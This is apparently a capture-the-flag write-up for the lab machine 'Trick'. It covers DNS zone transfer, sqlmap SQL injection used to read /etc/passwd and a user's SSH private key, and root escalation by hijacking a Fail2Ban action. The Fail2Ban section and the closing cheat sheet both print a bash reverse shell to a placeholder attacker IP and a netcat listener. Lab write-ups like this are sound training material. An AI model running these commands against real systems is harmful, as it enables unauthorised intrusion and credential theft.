π Trick
Machine: Trick
Difficulty: Easy
Theme: DNS enumeration β SQLi FILE read β SSH foothold β Fail2Ban config hijack
π― Summary
Trick presents a quiet external footprint, but DNS opens the box up immediately. A successful AXFR zone transfer reveals a preprod-payroll virtual host running a payroll management application vulnerable to SQL injection on the login form.
Rather than follow the intended chain β a second virtual host, Local File Inclusion, and SMTP log poisoning β the exploitation timeline was compressed by abusing the database userβs FILE privilege. This permitted direct reads of /etc/passwd, Nginx configuration, and ultimately Michaelβs private SSH key, collapsing the entire web-exploitation path into a single primitive.
Local privilege escalation was a Fail2Ban configuration hijack. Michael held sudo to restart the service and was a member of a group with write access to action.d/. Replacing the iptables-multiport.conf action with an arbitrary command yielded root code execution the moment a ban condition was triggered.
1. Enumeration
The external surface was minimal: SSH, SMTP, DNS, and an HTTP service serving a static βcoming soonβ page. With the web root yielding nothing actionable, DNS became the primary attack surface.
Baseline scan
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.166 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -sC -sV 10.10.11.166DNS discovery
With port 53 exposed, the standard sequence is reverse lookup β AXFR:
# Reverse lookup β resolve the apex domain
dig @10.10.11.166 -x 10.10.11.166
# β trick.htb
# Zone transfer β enumerate subdomains
dig @10.10.11.166 axfr trick.htb
# β preprod-payroll.trick.htb2. Payroll Login β SQL Injection
The preprod-payroll.trick.htb vhost exposed an Employeeβs Payroll Management System login panel. The username parameter was vulnerable to SQL injection.
Stable execution
Network jitter made boolean-based payloads unreliable. A time-based blind technique with a 5-second delay and a single thread produced clean, deterministic responses:
sqlmap -r login.req --batch --technique=T --time-sec=5 --threads=1 --privilegesResult: the database user holds the FILE privilege β the precondition for reading arbitrary filesystem content through the SQL layer.
3. File Exfiltration β The βShortcutβ
This is the strategic pivot. The intended path requires:
- discovering a second vhost
- chaining LFI against it
- poisoning SMTP logs for code execution
All of that becomes irrelevant the moment FILE is confirmed. The database itself becomes the read primitive β one SQLi vulnerability now substitutes for an entire multi-stage web chain.
Confirm valid users
sqlmap -r login.req --batch --technique=T --time-sec=5 --threads=1 --hex --file-read="/etc/passwd"Target user identified: michael.
Pull the SSH private key
sqlmap -r login.req --batch --technique=T --time-sec=5 --threads=1 --hex --file-read="/home/michael/.ssh/id_rsa"The --hex flag is essential here β it preserves binary integrity on the key file, which would otherwise be mangled by encoding-sensitive output.
This single primitive transitioned the engagement directly from unauthenticated web to authenticated SSH, bypassing the LFI and SMTP-poisoning chain entirely.
4. Foothold β SSH as michael
chmod 600 id_rsa
ssh -i id_rsa michael@trick.htbUser flag
cat ~/user.txt5. Privilege Escalation β Fail2Ban Hijack
sudo -l revealed Michael could restart fail2ban as root without a password. Filesystem inspection showed Michaelβs security group held write access to /etc/fail2ban/action.d/.
That combination β sudo on a service plus group-writable configuration directory β is functionally equivalent to root.
The directory-write trick
Even though iptables-multiport.conf itself was not directly writable by michael, the parent directory was. That is sufficient: the file can be renamed and replaced.
cd /etc/fail2ban/action.d
mv iptables-multiport.conf .old
cp .old iptables-multiport.confWeaponize the action
Edit the new copy and overwrite the ban action with a path to an attacker-controlled script:
actionban = /tmp/shell.shStage the payload
cat > /tmp/shell.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/[YOUR_VPN_IP]/1337 0>&1
EOF
chmod +x /tmp/shell.sh6. Execution
- Restart the service so the new action is loaded:
sudo /etc/init.d/fail2ban restart - Start the listener:
nc -lvnp 1337 - Trigger a ban by intentionally failing SSH logins from a second source IP until Fail2Ban acts.
When the ban fires, fail2ban-server executes actionban as root, delivering a root reverse shell to the listener.
Root flag
cat /root/root.txtπ Condensed Attack Chain
DNS :53
β
AXFR zone transfer (trick.htb)
β
preprod-payroll.trick.htb
β
SQLi on username parameter
β
FILE privilege confirmed
β
[SHORTCUT] Direct read of /etc/passwd β michael
β
[SHORTCUT] Direct read of /home/michael/.ssh/id_rsa
β
SSH as michael
β
sudo: fail2ban restart + group-writable action.d
β
Replace iptables-multiport.conf β actionban = /tmp/shell.sh
β
Restart fail2ban, trigger a ban
β
Root shellπ§ Key Takeaways
- Shortcut mentality. The
FILEprivilege turns SQL injection into an arbitrary file read. The moment that primitive is available, abandon the LFI/log-poisoning chain β it is now redundant work. - Service-config writes are root.
sudoon a service plus write access to that serviceβs config directory is a full privilege escalation. Treat any group membership granting write to/etc/<service>.d/as effectively administrative. - Never skip DNS. Port 53 is one of the highest-yield enumeration targets on a quiet box. A successful AXFR almost always reveals the real attack surface, and internal-facing vhosts tend to be considerably less hardened than the public root.
- Preserve binary integrity on file reads. Always use
--hexinsqlmapwhen exfiltrating keys, certificates, or any non-printable content. A truncated or mangled private key wastes time that the SQLi step already paid for.
β‘ Commands Cheat Sheet
# Port discovery
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.166 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -sC -sV 10.10.11.166
# DNS
dig @10.10.11.166 -x 10.10.11.166
dig @10.10.11.166 axfr trick.htb
# SQLi β confirm privileges
sqlmap -r login.req --batch --technique=T --time-sec=5 --threads=1 --privileges
# SQLi β arbitrary file read
sqlmap -r login.req --batch --technique=T --time-sec=5 --threads=1 --hex \
--file-read="/etc/passwd"
sqlmap -r login.req --batch --technique=T --time-sec=5 --threads=1 --hex \
--file-read="/home/michael/.ssh/id_rsa"
# SSH foothold
chmod 600 id_rsa
ssh -i id_rsa michael@trick.htb
cat ~/user.txt
# Fail2Ban hijack
cd /etc/fail2ban/action.d
mv iptables-multiport.conf .old
cp .old iptables-multiport.conf
# edit: actionban = /tmp/shell.sh
cat > /tmp/shell.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/[YOUR_VPN_IP]/1337 0>&1
EOF
chmod +x /tmp/shell.sh
sudo /etc/init.d/fail2ban restart
nc -lvnp 1337
# Trigger a ban from a second source IP
cat /root/root.txtπ Related Manual Notes
Field-manual techniques demonstrated on this box:
- DNS_Zone_Transfers β AXFR zone transfer
- Virtual_Hosts β virtual-host discovery
- SQLi_Enumeration_Escalation β SQLi
FILE-privilege file reads - SQLMap_Advanced β sqlmap techniques and tuning
- Linux_PrivEsc_Permissions_Sudo β sudo-based privilege escalation
π§ Diagnostic Map
Quick lookup of common failure signals seen on this machine and the correct recovery move. Use this when output looks βwrongβ but the underlying step is actually salvageable.
Symptom: External footprint is quiet (only SMTP + static HTTP) and web yields nothing
Meaning: DNS is the real attack surface on hosts like this
Next: dig @<TARGET> -x <TARGET> to find the apex, then dig axfr <domain> for subdomains
Symptom: Boolean-based SQLi payloads return inconsistent results across runs
Meaning: Network jitter is destabilizing fast techniques
Next: Switch to time-based blind with a slow delay: --technique=T --time-sec=5 --threads=1
Symptom: sqlmap --privileges shows FILE
Meaning: SQLi just became an arbitrary file read β the entire LFI/log-poisoning chain is now redundant
Next: Read /etc/passwd and SSH keys directly via --file-read; skip the intended chain
Symptom: Exfiltrated SSH key looks truncated or unusable
Meaning: Binary content was corrupted by encoding-sensitive output
Next: Re-run sqlmap --file-read with --hex to preserve binary integrity
Symptom: sudo -l shows a service restart privilege but the config file isnβt writable as your user
Meaning: Check whether the parent directory is group-writable β a rename-and-replace bypasses file ACLs
Next: mv original.conf .old && cp .old original.conf, then edit the new copy you own
Symptom: Replaced Fail2Ban action but no shell fires after restart
Meaning: The action only runs when a ban actually triggers
Next: Generate failed SSH logins from a second source IP until Fail2Ban bans it
π Personal Notes
The lesson on Trick is primitive recognition. The intended path is a perfectly valid web-exploitation exercise, but the moment sqlmap --privileges returned FILE, the engagement collapsed into a much shorter chain. Identifying that pivot quickly β and trusting it β is what separates a 30-minute box from a multi-hour grind through LFI and SMTP poisoning.
The Fail2Ban half is a reminder that Linux privilege escalation is rarely about exotic exploits. It is almost always about boundaries between users and the services they are allowed to influence. A sudo entry plus a group ACL on a config directory is not a misconfiguration to file in a report appendix β it is the root path.